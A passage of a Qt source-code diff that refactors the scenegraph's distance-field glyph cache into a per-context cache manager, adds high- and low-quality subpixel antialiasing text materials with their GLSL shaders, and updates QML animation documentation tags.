+ m_blitProgram->bindAttributeLocation("vertexCoordsArray", QT_VERTEX_COORDS_ATTR);
+ m_blitProgram->bindAttributeLocation("textureCoordArray", QT_TEXTURE_COORDS_ATTR);
+ m_blitProgram->link();
}
-QSGDistanceFieldGlyphCache::~QSGDistanceFieldGlyphCache()
+QSGDistanceFieldGlyphCacheManager::~QSGDistanceFieldGlyphCacheManager()
{
delete m_blitProgram;
+ qDeleteAll(m_caches.values());
}
-void QSGDistanceFieldGlyphCache::onContextDestroyed(const QGLContext *context)
+QSGDistanceFieldGlyphCache *QSGDistanceFieldGlyphCacheManager::cache(const QRawFont &font)
{
- if (context != ctx)
- return;
+ QRawFontPrivate *fontD = QRawFontPrivate::get(font);
+ QHash<QFontEngine *, QSGDistanceFieldGlyphCache *>::iterator cache = m_caches.find(fontD->fontEngine);
+ if (cache == m_caches.end())
+ cache = m_caches.insert(fontD->fontEngine, new QSGDistanceFieldGlyphCache(this, ctx, font));
+ return cache.value();
+}
+
+int QSGDistanceFieldGlyphCacheManager::maxTextureSize() const
+{
+ if (!m_maxTextureSize)
+ glGetIntegerv(GL_MAX_TEXTURE_SIZE, &m_maxTextureSize);
+ return m_maxTextureSize;
+}
+
+
+QHash<QString, QGLContextGroupResource<QSGDistanceFieldGlyphCache::DistanceFieldTextureData> > QSGDistanceFieldGlyphCache::m_textures_data;
+
+QSGDistanceFieldGlyphCache::DistanceFieldTextureData *QSGDistanceFieldGlyphCache::textureData()
+{
+ QString key = QString::fromLatin1("%1_%2_%3_%4")
+ .arg(m_font.familyName())
+ .arg(m_font.styleName())
+ .arg(m_font.weight())
+ .arg(m_font.style());
+ return m_textures_data[key].value(ctx);
+}
+
+QSGDistanceFieldGlyphCache::QSGDistanceFieldGlyphCache(QSGDistanceFieldGlyphCacheManager *man, const QGLContext *c, const QRawFont &font)
+ : m_manager(man)
+ , ctx(c)
+{
+ Q_ASSERT(font.isValid());
+ m_font = font;
+
+ m_textureData = textureData();
QRawFontPrivate *fontD = QRawFontPrivate::get(m_font);
- QPair<const QGLContext *, QFontEngine *> key(context, fontD->fontEngine);
- m_caches.remove(key);
- deleteLater();
+ m_glyphCount = fontD->fontEngine->glyphCount();
+
+ m_textureData->doubleGlyphResolution = fontHasNarrowOutlines(font) && m_glyphCount < QT_DISTANCEFIELD_HIGHGLYPHCOUNT;
+
+ m_referenceFont = m_font;
+ m_referenceFont.setPixelSize(QT_DISTANCEFIELD_BASEFONTSIZE);
+ Q_ASSERT(m_referenceFont.isValid());
+}
+
+QSGDistanceFieldGlyphCache::~QSGDistanceFieldGlyphCache()
+{
}
GLuint QSGDistanceFieldGlyphCache::texture()
@@ -871,13 +921,6 @@ QSize QSGDistanceFieldGlyphCache::textureSize() const
return m_textureData->size;
}
-int QSGDistanceFieldGlyphCache::maxTextureSize() const
-{
- if (!m_maxTextureSize)
- glGetIntegerv(GL_MAX_TEXTURE_SIZE, &m_maxTextureSize);
- return m_maxTextureSize;
-}
-
QSGDistanceFieldGlyphCache::Metrics QSGDistanceFieldGlyphCache::glyphMetrics(glyph_t glyph)
{
QHash<glyph_t, Metrics>::iterator metric = m_metrics.find(glyph);
@@ -970,7 +1013,7 @@ void QSGDistanceFieldGlyphCache::populate(int count, const glyph_t *glyphs)
if (!cacheIsFull()) {
m_textureData->currX += QT_DISTANCEFIELD_TILESIZE;
- if (m_textureData->currX >= maxTextureSize()) {
+ if (m_textureData->currX >= m_manager->maxTextureSize()) {
m_textureData->currX = 0;
m_textureData->currY += QT_DISTANCEFIELD_TILESIZE;
}
@@ -986,7 +1029,7 @@ void QSGDistanceFieldGlyphCache::populate(int count, const glyph_t *glyphs)
}
}
- if (c.y < maxTextureSize()) {
+ if (c.y < m_manager->maxTextureSize()) {
m_textureData->texCoords.insert(glyphIndex, c);
m_textureData->pendingGlyphs.add(glyphIndex);
}
@@ -1010,10 +1053,7 @@ void QSGDistanceFieldGlyphCache::createTexture(int width, int height)
glGenTextures(1, &m_textureData->texture);
glBindTexture(GL_TEXTURE_2D, m_textureData->texture);
- QVarLengthArray<uchar> data(width * height);
- for (int i = 0; i < data.size(); ++i)
- data[i] = 0;
- glTexImage2D(GL_TEXTURE_2D, 0, GL_ALPHA, width, height, 0, GL_ALPHA, GL_UNSIGNED_BYTE, &data[0]);
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_ALPHA, width, height, 0, GL_ALPHA, GL_UNSIGNED_BYTE, 0);
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
@@ -1090,45 +1130,14 @@ void QSGDistanceFieldGlyphCache::resizeTexture(int width, int height)
glViewport(0, 0, oldWidth, oldHeight);
- if (m_blitProgram == 0) {
- m_blitProgram = new QGLShaderProgram;
+ ctx->functions()->glVertexAttribPointer(QT_VERTEX_COORDS_ATTR, 2, GL_FLOAT, GL_FALSE, 0, m_manager->blitVertexArray());
+ ctx->functions()->glVertexAttribPointer(QT_TEXTURE_COORDS_ATTR, 2, GL_FLOAT, GL_FALSE, 0, m_manager->blitTextureArray());
- {
- QString source;
- source.append(QLatin1String(qglslMainWithTexCoordsVertexShader));
- source.append(QLatin1String(qglslUntransformedPositionVertexShader));
-
- QGLShader *vertexShader = new QGLShader(QGLShader::Vertex, m_blitProgram);
- vertexShader->compileSourceCode(source);
-
- m_blitProgram->addShader(vertexShader);
- }
-
- {
- QString source;
- source.append(QLatin1String(qglslMainFragmentShader));
- source.append(QLatin1String(qglslImageSrcFragmentShader));
-
- QGLShader *fragmentShader = new QGLShader(QGLShader::Fragment, m_blitProgram);
- fragmentShader->compileSourceCode(source);
-
- m_blitProgram->addShader(fragmentShader);
- }
-
- m_blitProgram->bindAttributeLocation("vertexCoordsArray", QT_VERTEX_COORDS_ATTR);
- m_blitProgram->bindAttributeLocation("textureCoordArray", QT_TEXTURE_COORDS_ATTR);
-
- m_blitProgram->link();
- }
-
- ctx->functions()->glVertexAttribPointer(QT_VERTEX_COORDS_ATTR, 2, GL_FLOAT, GL_FALSE, 0, m_vertexCoordinateArray);
- ctx->functions()->glVertexAttribPointer(QT_TEXTURE_COORDS_ATTR, 2, GL_FLOAT, GL_FALSE, 0, m_textureCoordinateArray);
-
- m_blitProgram->bind();
- m_blitProgram->enableAttributeArray(int(QT_VERTEX_COORDS_ATTR));
- m_blitProgram->enableAttributeArray(int(QT_TEXTURE_COORDS_ATTR));
- m_blitProgram->disableAttributeArray(int(QT_OPACITY_ATTR));
- m_blitProgram->setUniformValue("imageTexture", GLuint(0));
+ m_manager->blitProgram()->bind();
+ m_manager->blitProgram()->enableAttributeArray(int(QT_VERTEX_COORDS_ATTR));
+ m_manager->blitProgram()->enableAttributeArray(int(QT_TEXTURE_COORDS_ATTR));
+ m_manager->blitProgram()->disableAttributeArray(int(QT_OPACITY_ATTR));
+ m_manager->blitProgram()->setUniformValue("imageTexture", GLuint(0));
glDrawArrays(GL_TRIANGLE_FAN, 0, 4);
@@ -1160,9 +1169,9 @@ void QSGDistanceFieldGlyphCache::updateCache()
if (m_textureData->pendingGlyphs.isEmpty())
return;
- int requiredWidth = maxTextureSize();
+ int requiredWidth = m_manager->maxTextureSize();
int rows = 128 / (requiredWidth / QT_DISTANCEFIELD_TILESIZE); // Enough rows to fill the latin1 set by default..
- int requiredHeight = qMin(maxTextureSize(), qMax(m_textureData->currY + QT_DISTANCEFIELD_TILESIZE, QT_DISTANCEFIELD_TILESIZE * rows));
+ int requiredHeight = qMin(m_manager->maxTextureSize(), qMax(m_textureData->currY + QT_DISTANCEFIELD_TILESIZE, QT_DISTANCEFIELD_TILESIZE * rows));
resizeTexture((requiredWidth), (requiredHeight));
glBindTexture(GL_TEXTURE_2D, m_textureData->texture);
@@ -1170,6 +1179,12 @@ void QSGDistanceFieldGlyphCache::updateCache()
// ### Remove before final release
static bool cacheDistanceFields = QApplication::arguments().contains("--cache-distance-fields");
+// #define QSGDISTANCEFIELDS_TIME_CREATION
+#ifdef QSGDISTANCEFIELDS_TIME_CREATION
+ QTime time;
+ time.start();
+#endif
+
QString tmpPath = QString::fromLatin1("%1/.qt/").arg(QDir::tempPath());
QString keyBase = QString::fromLatin1("%1%2%3_%4_%5_%6.fontblob")
.arg(tmpPath)
@@ -1218,6 +1233,13 @@ void QSGDistanceFieldGlyphCache::updateCache()
file.write((const char *) glyph.constBits(), glyph.width() * glyph.height());
}
}
+
+#ifdef QSGDISTANCEFIELDS_TIME_CREATION
+ static int totalTime;
+ totalTime += time.elapsed();
+ printf("time: %d\n", totalTime);
+#endif
+
m_textureData->pendingGlyphs.reset();
}
@@ -1226,11 +1248,6 @@ bool QSGDistanceFieldGlyphCache::useWorkaroundBrokenFBOReadback() const
return ctx->d_ptr->workaround_brokenFBOReadBack;
}
-bool QSGDistanceFieldGlyphCache::distanceFieldEnabled()
-{
- return !disableDistanceField();
-}
-
int QSGDistanceFieldGlyphCache::glyphCount() const
{
return m_glyphCount;
diff --git a/src/declarative/scenegraph/qsgdistancefieldglyphcache_p.h b/src/declarative/scenegraph/qsgdistancefieldglyphcache_p.h
index bcfb44a706..c4dd97bab5 100644
--- a/src/declarative/scenegraph/qsgdistancefieldglyphcache_p.h
+++ b/src/declarative/scenegraph/qsgdistancefieldglyphcache_p.h
@@ -48,18 +48,59 @@
#include <private/qfont_p.h>
#include <private/qfontengine_p.h>
#include <QtGui/private/qdatabuffer_p.h>
+#include <private/qsgadaptationlayer_p.h>
QT_BEGIN_NAMESPACE
+typedef float (*ThresholdFunc)(float glyphScale);
+typedef float (*AntialiasingSpreadFunc)(float glyphScale);
+
class QGLShaderProgram;
+class QSGDistanceFieldGlyphCache;
-class Q_DECLARATIVE_EXPORT QSGDistanceFieldGlyphCache : public QObject
+class Q_DECLARATIVE_EXPORT QSGDistanceFieldGlyphCacheManager
{
- Q_OBJECT
public:
- ~QSGDistanceFieldGlyphCache();
+ QSGDistanceFieldGlyphCacheManager(const QGLContext *c);
+ ~QSGDistanceFieldGlyphCacheManager();
+
+ QSGDistanceFieldGlyphCache *cache(const QRawFont &font);
+
+ QSGGlyphNode::AntialiasingMode defaultAntialiasingMode() const { return m_defaultAntialiasingMode; }
+ void setDefaultAntialiasingMode(QSGGlyphNode::AntialiasingMode mode) { m_defaultAntialiasingMode = mode; }
+
+ ThresholdFunc thresholdFunc() const { return m_threshold_func; }
+ void setThresholdFunc(ThresholdFunc func) { m_threshold_func = func; }
+
+ AntialiasingSpreadFunc antialiasingSpreadFunc() const { return m_antialiasingSpread_func; }
+ void setAntialiasingSpreadFunc(AntialiasingSpreadFunc func) { m_antialiasingSpread_func = func; }
+
+ QGLShaderProgram *blitProgram() { return m_blitProgram; }
+ const GLfloat *blitVertexArray() const { return &m_vertexCoordinateArray[0]; }
+ const GLfloat *blitTextureArray() const { return &m_textureCoordinateArray[0]; }
+
+ int maxTextureSize() const;
+
+private:
+ QHash<QFontEngine *, QSGDistanceFieldGlyphCache *> m_caches;
+
+ const QGLContext *ctx;
+
+ QSGGlyphNode::AntialiasingMode m_defaultAntialiasingMode;
+ ThresholdFunc m_threshold_func;
+ AntialiasingSpreadFunc m_antialiasingSpread_func;
+
+ mutable int m_maxTextureSize;
- static QSGDistanceFieldGlyphCache *get(const QGLContext *ctx, const QRawFont &font);
+ QGLShaderProgram *m_blitProgram;
+ GLfloat m_vertexCoordinateArray[8];
+ GLfloat m_textureCoordinateArray[8];
+};
+
+class Q_DECLARATIVE_EXPORT QSGDistanceFieldGlyphCache
+{
+public:
+ ~QSGDistanceFieldGlyphCache();
struct Metrics {
qreal width;
@@ -85,9 +126,10 @@ public:
};
TexCoord glyphTexCoord(glyph_t glyph);
+ const QSGDistanceFieldGlyphCacheManager *manager() const { return m_manager; }
+
GLuint texture();
QSize textureSize() const;
- int maxTextureSize() const;
qreal fontScale() const;
int distanceFieldRadius() const;
QImage renderDistanceFieldGlyph(glyph_t glyph) const;
@@ -98,29 +140,23 @@ public:
void derefGlyphs(int count, const glyph_t *glyphs);
void updateCache();
- bool cacheIsFull() const { return m_textureData->currY >= maxTextureSize(); }
+ bool cacheIsFull() const { return m_textureData->currY >= m_manager->maxTextureSize(); }
bool useWorkaroundBrokenFBOReadback() const;
- static bool distanceFieldEnabled();
-
-private Q_SLOTS:
- void onContextDestroyed(const QGLContext *context);
-
private:
- QSGDistanceFieldGlyphCache(const QGLContext *c, const QRawFont &font);
+ QSGDistanceFieldGlyphCache(QSGDistanceFieldGlyphCacheManager *man, const QGLContext *c, const QRawFont &font);
void createTexture(int width, int height);
void resizeTexture(int width, int height);
- static QHash<QPair<const QGLContext *, QFontEngine *>, QSGDistanceFieldGlyphCache *> m_caches;
+ QSGDistanceFieldGlyphCacheManager *m_manager;
QRawFont m_font;
QRawFont m_referenceFont;
int m_glyphCount;
QHash<glyph_t, Metrics> m_metrics;
- mutable int m_maxTextureSize;
struct DistanceFieldTextureData {
GLuint texture;
@@ -146,13 +182,11 @@ private:
};
DistanceFieldTextureData *textureData();
DistanceFieldTextureData *m_textureData;
- static QHash<QFontEngine *, QGLContextGroupResource<DistanceFieldTextureData> > m_textures_data;
+ static QHash<QString, QGLContextGroupResource<DistanceFieldTextureData> > m_textures_data;
const QGLContext *ctx;
- QGLShaderProgram *m_blitProgram;
- GLfloat m_vertexCoordinateArray[8];
- GLfloat m_textureCoordinateArray[8];
+ friend class QSGDistanceFieldGlyphCacheManager;
};
QT_END_NAMESPACE
diff --git a/src/declarative/scenegraph/qsgdistancefieldglyphnode.cpp b/src/declarative/scenegraph/qsgdistancefieldglyphnode.cpp
index 26326d0c75..cb3dab959c 100644
--- a/src/declarative/scenegraph/qsgdistancefieldglyphnode.cpp
+++ b/src/declarative/scenegraph/qsgdistancefieldglyphnode.cpp
@@ -46,8 +46,9 @@
QT_BEGIN_NAMESPACE
-QSGDistanceFieldGlyphNode::QSGDistanceFieldGlyphNode()
+QSGDistanceFieldGlyphNode::QSGDistanceFieldGlyphNode(QSGDistanceFieldGlyphCacheManager *cacheManager)
: m_material(0)
+ , m_glyph_cacheManager(cacheManager)
, m_glyph_cache(0)
, m_geometry(QSGGeometry::defaultAttributes_TexturedPoint2D(), 0)
, m_style(QSGText::Normal)
@@ -58,10 +59,7 @@ QSGDistanceFieldGlyphNode::QSGDistanceFieldGlyphNode()
{
m_geometry.setDrawingMode(GL_TRIANGLES);
setGeometry(&m_geometry);
-
-#ifndef QT_OPENGL_ES
- setPreferredAntialiasingMode(QSGGlyphNode::SubPixelAntialiasing);
-#endif
+ setPreferredAntialiasingMode(cacheManager->defaultAntialiasingMode());
}
QSGDistanceFieldGlyphNode::~QSGDistanceFieldGlyphNode()
@@ -169,6 +167,7 @@ void QSGDistanceFieldGlyphNode::updateGeometry()
QPointF margins(2, 2);
QPointF texMargins = margins / m_glyph_cache->fontScale();
+ QVector<QPointF> glyphPositions = m_glyphs.positions();
for (int i = 0; i < glyphIndexes.size(); ++i) {
quint32 glyphIndex = glyphIndexes.at(i);
QSGDistanceFieldGlyphCache::Metrics metrics = m_glyph_cache->glyphMetrics(glyphIndex);
@@ -185,9 +184,9 @@ void QSGDistanceFieldGlyphNode::updateGeometry()
c.height += texMargins.y() * 2;
}
- QPointF glyphPosition = m_glyphs.positions().at(i) + m_position;
- qreal x = glyphPosition.x() + metrics.baselineX;
- qreal y = glyphPosition.y() - metrics.baselineY;
+ const QPointF &glyphPosition = glyphPositions.at(i);
+ qreal x = glyphPosition.x() + metrics.baselineX + m_position.x();
+ qreal y = glyphPosition.y() - metrics.baselineY + m_position.y();
boundingRect |= QRectF(x, y, metrics.width, metrics.height);
@@ -245,7 +244,7 @@ void QSGDistanceFieldGlyphNode::updateGeometry()
void QSGDistanceFieldGlyphNode::updateFont()
{
- m_glyph_cache = QSGDistanceFieldGlyphCache::get(QGLContext::currentContext(), m_glyphs.rawFont());
+ m_glyph_cache = m_glyph_cacheManager->cache(m_glyphs.rawFont());
m_dirtyFont = false;
}
@@ -254,10 +253,18 @@ void QSGDistanceFieldGlyphNode::updateMaterial()
delete m_material;
if (m_style == QSGText::Normal) {
- if (m_antialiasingMode == SubPixelAntialiasing)
- m_material = new QSGSubPixelDistanceFieldTextMaterial;
- else
+ switch (m_antialiasingMode) {
+ case HighQualitySubPixelAntialiasing:
+ m_material = new QSGHiQSubPixelDistanceFieldTextMaterial;
+ break;
+ case LowQualitySubPixelAntialiasing:
+ m_material = new QSGLoQSubPixelDistanceFieldTextMaterial;
+ break;
+ case GrayAntialiasing:
+ default:
m_material = new QSGDistanceFieldTextMaterial;
+ break;
+ }
} else {
QSGDistanceFieldStyledTextMaterial *material;
if (m_style == QSGText::Outline) {
diff --git a/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.cpp b/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.cpp
index 18de955b29..c81113f4dc 100644
--- a/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.cpp
+++ b/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.cpp
@@ -60,10 +60,10 @@ protected:
virtual const char *vertexShader() const;
virtual const char *fragmentShader() const;
- virtual void updateAlphaRange();
+ void updateAlphaRange(ThresholdFunc thresholdFunc, AntialiasingSpreadFunc spreadFunc);
- qreal m_fontScale;
- qreal m_matrixScale;
+ float m_fontScale;
+ float m_matrixScale;
int m_matrix_id;
int m_textureScale_id;
@@ -110,11 +110,14 @@ QSGDistanceFieldTextMaterialShader::QSGDistanceFieldTextMaterialShader()
{
}
-void QSGDistanceFieldTextMaterialShader::updateAlphaRange()
+void QSGDistanceFieldTextMaterialShader::updateAlphaRange(ThresholdFunc thresholdFunc, AntialiasingSpreadFunc spreadFunc)
{
- qreal combinedScale = m_fontScale * m_matrixScale;
- qreal alphaMin = qMax(0.0, 0.5 - 0.07 / combinedScale);
- qreal alphaMax = qMin(0.5 + 0.07 / combinedScale, 1.0);
+ float combinedScale = m_fontScale * m_matrixScale;
+ float base = thresholdFunc(combinedScale);
+ float range = spreadFunc(combinedScale);
+
+ float alphaMin = qMax(0.0f, base - range);
+ float alphaMax = qMin(base + range, 1.0f);
program()->setUniformValue(m_alphaMin_id, GLfloat(alphaMin));
program()->setUniformValue(m_alphaMax_id, GLfloat(alphaMax));
}
@@ -156,11 +159,13 @@ void QSGDistanceFieldTextMaterialShader::updateState(const RenderState &state, Q
}
if (state.isMatrixDirty()) {
program()->setUniformValue(m_matrix_id, state.combinedMatrix());
- m_matrixScale = qSqrt(state.modelViewMatrix().determinant());
+ m_matrixScale = qSqrt(qAbs(state.modelViewMatrix().determinant()));
updateRange = true;
}
- if (updateRange)
- updateAlphaRange();
+ if (updateRange) {
+ updateAlphaRange(material->glyphCache()->manager()->thresholdFunc(),
+ material->glyphCache()->manager()->antialiasingSpreadFunc());
+ }
Q_ASSERT(material->glyphCache());
@@ -494,7 +499,7 @@ QSGMaterialShader *QSGDistanceFieldShiftedStyleTextMaterial::createShader() cons
}
-class QSGSubPixelDistanceFieldTextMaterialShader : public QSGDistanceFieldTextMaterialShader
+class QSGHiQSubPixelDistanceFieldTextMaterialShader : public QSGDistanceFieldTextMaterialShader
{
public:
virtual void initialize();
@@ -506,14 +511,12 @@ protected:
virtual const char *vertexShader() const;
virtual const char *fragmentShader() const;
- void updateAlphaRange();
-
private:
int m_fontScale_id;
int m_vecDelta_id;
};
-const char *QSGSubPixelDistanceFieldTextMaterialShader::vertexShader() const {
+const char *QSGHiQSubPixelDistanceFieldTextMaterialShader::vertexShader() const {
return
"uniform highp mat4 matrix; \n"
"uniform highp vec2 textureScale; \n"
@@ -545,7 +548,7 @@ const char *QSGSubPixelDistanceFieldTextMaterialShader::vertexShader() const {
"}";
}
-const char *QSGSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
+const char *QSGHiQSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
return
"varying highp vec2 sampleCoord; \n"
"varying highp vec3 sampleFarLeft; \n"
@@ -579,7 +582,7 @@ const char *QSGSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
"}";
}
-//const char *QSGSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
+//const char *QSGHiQSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
// return
// "#extension GL_OES_standard_derivatives: enable \n"
// "varying highp vec2 sampleCoord; \n"
@@ -601,35 +604,26 @@ const char *QSGSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
// "}";
//}
-void QSGSubPixelDistanceFieldTextMaterialShader::initialize()
+void QSGHiQSubPixelDistanceFieldTextMaterialShader::initialize()
{
QSGDistanceFieldTextMaterialShader::initialize();
m_fontScale_id = program()->uniformLocation("fontScale");
m_vecDelta_id = program()->uniformLocation("vecDelta");
}
-void QSGSubPixelDistanceFieldTextMaterialShader::activate()
+void QSGHiQSubPixelDistanceFieldTextMaterialShader::activate()
{
QSGDistanceFieldTextMaterialShader::activate();
glBlendFunc(GL_CONSTANT_COLOR, GL_ONE_MINUS_SRC_COLOR);
}
-void QSGSubPixelDistanceFieldTextMaterialShader::deactivate()
+void QSGHiQSubPixelDistanceFieldTextMaterialShader::deactivate()
{
QSGDistanceFieldTextMaterialShader::deactivate();
glBlendFunc(GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
}
-void QSGSubPixelDistanceFieldTextMaterialShader::updateAlphaRange()
-{
- qreal combinedScale = m_fontScale * m_matrixScale;
- qreal alphaMin = qMax(0.0, 0.5 - 0.05 / combinedScale);
- qreal alphaMax = qMin(0.5 + 0.05 / combinedScale, 1.0);
- program()->setUniformValue(m_alphaMin_id, GLfloat(alphaMin));
- program()->setUniformValue(m_alphaMax_id, GLfloat(alphaMax));
-}
-
-void QSGSubPixelDistanceFieldTextMaterialShader::updateState(const RenderState &state, QSGMaterial *newEffect, QSGMaterial *oldEffect)
+void QSGHiQSubPixelDistanceFieldTextMaterialShader::updateState(const RenderState &state, QSGMaterial *newEffect, QSGMaterial *oldEffect)
{
Q_ASSERT(oldEffect == 0 || newEffect->type() == oldEffect->type());
QSGDistanceFieldTextMaterial *material = static_cast<QSGDistanceFieldTextMaterial *>(newEffect);
@@ -652,16 +646,77 @@ void QSGSubPixelDistanceFieldTextMaterialShader::updateState(const RenderState &
QSGDistanceFieldTextMaterialShader::updateState(state, newEffect, oldEffect);
}
-QSGMaterialType *QSGSubPixelDistanceFieldTextMaterial::type() const
+QSGMaterialType *QSGHiQSubPixelDistanceFieldTextMaterial::type() const
{
static QSGMaterialType type;
return &type;
}
-QSGMaterialShader *QSGSubPixelDistanceFieldTextMaterial::createShader() const
+QSGMaterialShader *QSGHiQSubPixelDistanceFieldTextMaterial::createShader() const
+{
+ return new QSGHiQSubPixelDistanceFieldTextMaterialShader;
+}
+
+
+class QSGLoQSubPixelDistanceFieldTextMaterialShader : public QSGHiQSubPixelDistanceFieldTextMaterialShader
+{
+protected:
+ virtual const char *vertexShader() const;
+ virtual const char *fragmentShader() const;
+};
+
+const char *QSGLoQSubPixelDistanceFieldTextMaterialShader::vertexShader() const {
+ return
+ "uniform highp mat4 matrix; \n"
+ "uniform highp vec2 textureScale; \n"
+ "uniform highp float fontScale; \n"
+ "uniform highp vec4 vecDelta; \n"
+ "attribute highp vec4 vCoord; \n"
+ "attribute highp vec2 tCoord; \n"
+ "varying highp vec3 sampleNearLeft; \n"
+ "varying highp vec3 sampleNearRight; \n"
+ "void main() { \n"
+ " highp vec2 sampleCoord = tCoord * textureScale; \n"
+ " gl_Position = matrix * vCoord; \n"
+ // Calculate neighbour pixel position in item space.
+ " highp vec3 wDelta = gl_Position.w * vecDelta.xyw; \n"
+ " highp vec3 nearLeft = vCoord.xyw - 0.25 * wDelta; \n"
+ " highp vec3 nearRight = vCoord.xyw + 0.25 * wDelta; \n"
+ // Calculate neighbour texture coordinate.
+ " highp vec2 scale = textureScale / fontScale; \n"
+ " highp vec2 base = sampleCoord - scale * vCoord.xy; \n"
+ " sampleNearLeft = vec3(base * nearLeft.z + scale * nearLeft.xy, nearLeft.z); \n"
+ " sampleNearRight = vec3(base * nearRight.z + scale * nearRight.xy, nearRight.z); \n"
+ "}";
+}
+
+const char *QSGLoQSubPixelDistanceFieldTextMaterialShader::fragmentShader() const {
+ return
+ "varying highp vec3 sampleNearLeft; \n"
+ "varying highp vec3 sampleNearRight; \n"
+ "uniform sampler2D texture; \n"
+ "uniform lowp vec4 color; \n"
+ "uniform highp float alphaMin; \n"
+ "uniform highp float alphaMax; \n"
+ "void main() { \n"
+ " highp vec2 n; \n"
+ " n.x = texture2DProj(texture, sampleNearLeft).a; \n"
+ " n.y = texture2DProj(texture, sampleNearRight).a; \n"
+ " n = smoothstep(alphaMin, alphaMax, n); \n"
+ " highp float c = 0.5 * (n.x + n.y); \n"
+ " gl_FragColor = vec4(n.x, c, n.y, c) * color.w; \n"
+ "}";
+}
+
+QSGMaterialType *QSGLoQSubPixelDistanceFieldTextMaterial::type() const
{
- return new QSGSubPixelDistanceFieldTextMaterialShader;
+ static QSGMaterialType type;
+ return &type;
}
+QSGMaterialShader *QSGLoQSubPixelDistanceFieldTextMaterial::createShader() const
+{
+ return new QSGLoQSubPixelDistanceFieldTextMaterialShader;
+}
QT_END_NAMESPACE
diff --git a/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.h b/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.h
index 926a84383c..a5bdf36d16 100644
--- a/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.h
+++ b/src/declarative/scenegraph/qsgdistancefieldglyphnode_p.h
@@ -53,11 +53,12 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QSGDistanceFieldGlyphCache;
+class QSGDistanceFieldGlyphCacheManager;
class QSGDistanceFieldTextMaterial;
class QSGDistanceFieldGlyphNode: public QSGGlyphNode
{
public:
- QSGDistanceFieldGlyphNode();
+ QSGDistanceFieldGlyphNode(QSGDistanceFieldGlyphCacheManager *cacheManager);
~QSGDistanceFieldGlyphNode();
virtual QPointF baseLine() const { return m_baseLine; }
@@ -66,8 +67,8 @@ public:
virtual void setPreferredAntialiasingMode(AntialiasingMode mode);
- void setStyle(QSGText::TextStyle style);
- void setStyleColor(const QColor &color);
+ virtual void setStyle(QSGText::TextStyle style);
+ virtual void setStyleColor(const QColor &color);
virtual void update();
@@ -81,6 +82,7 @@ private:
QSGDistanceFieldTextMaterial *m_material;
QPointF m_position;
QGlyphRun m_glyphs;
+ QSGDistanceFieldGlyphCacheManager *m_glyph_cacheManager;
QSGDistanceFieldGlyphCache *m_glyph_cache;
QSGGeometry m_geometry;
QSGText::TextStyle m_style;
diff --git a/src/declarative/scenegraph/qsgdistancefieldglyphnode_p_p.h b/src/declarative/scenegraph/qsgdistancefieldglyphnode_p_p.h
index c120ffe466..8733edf203 100644
--- a/src/declarative/scenegraph/qsgdistancefieldglyphnode_p_p.h
+++ b/src/declarative/scenegraph/qsgdistancefieldglyphnode_p_p.h
@@ -116,7 +116,14 @@ protected:
QPointF m_shift;
};
-class QSGSubPixelDistanceFieldTextMaterial : public QSGDistanceFieldTextMaterial
+class QSGHiQSubPixelDistanceFieldTextMaterial : public QSGDistanceFieldTextMaterial
+{
+public:
+ virtual QSGMaterialType *type() const;
+ virtual QSGMaterialShader *createShader() const;
+};
+
+class QSGLoQSubPixelDistanceFieldTextMaterial : public QSGDistanceFieldTextMaterial
{
public:
virtual QSGMaterialType *type() const;
diff --git a/src/declarative/scenegraph/util/qsgflatcolormaterial.h b/src/declarative/scenegraph/util/qsgflatcolormaterial.h
index bb2a65bedf..ffff7941a3 100644
--- a/src/declarative/scenegraph/util/qsgflatcolormaterial.h
+++ b/src/declarative/scenegraph/util/qsgflatcolormaterial.h
@@ -50,7 +50,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
-class Q_AUTOTEST_EXPORT QSGFlatColorMaterial : public QSGMaterial
+class Q_DECLARATIVE_EXPORT QSGFlatColorMaterial : public QSGMaterial
{
public:
QSGFlatColorMaterial();
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index 977f7fa0d9..11e1c7cc0a 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -74,8 +74,8 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Animation QDeclarativeAbstractAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\brief The Animation element is the base of all QML animations.
The Animation element cannot be used directly in a QML file. It exists
@@ -99,7 +99,7 @@ QDeclarativeAbstractAnimation::QDeclarativeAbstractAnimation(QDeclarativeAbstrac
}
/*!
- \qmlproperty bool Animation::running
+ \qmlproperty bool QtQuick2::Animation::running
This property holds whether the animation is currently running.
The \c running property can be set to declaratively control whether or not
@@ -236,7 +236,7 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
}
/*!
- \qmlproperty bool Animation::paused
+ \qmlproperty bool QtQuick2::Animation::paused
This property holds whether the animation is currently paused.
The \c paused property can be set to declaratively control whether or not
@@ -303,7 +303,7 @@ void QDeclarativeAbstractAnimation::componentFinalized()
}
/*!
- \qmlproperty bool Animation::alwaysRunToEnd
+ \qmlproperty bool QtQuick2::Animation::alwaysRunToEnd
This property holds whether the animation should run to completion when it is stopped.
If this true the animation will complete its current iteration when it
@@ -335,7 +335,7 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f)
}
/*!
- \qmlproperty int Animation::loops
+ \qmlproperty int QtQuick2::Animation::loops
This property holds the number of times the animation should play.
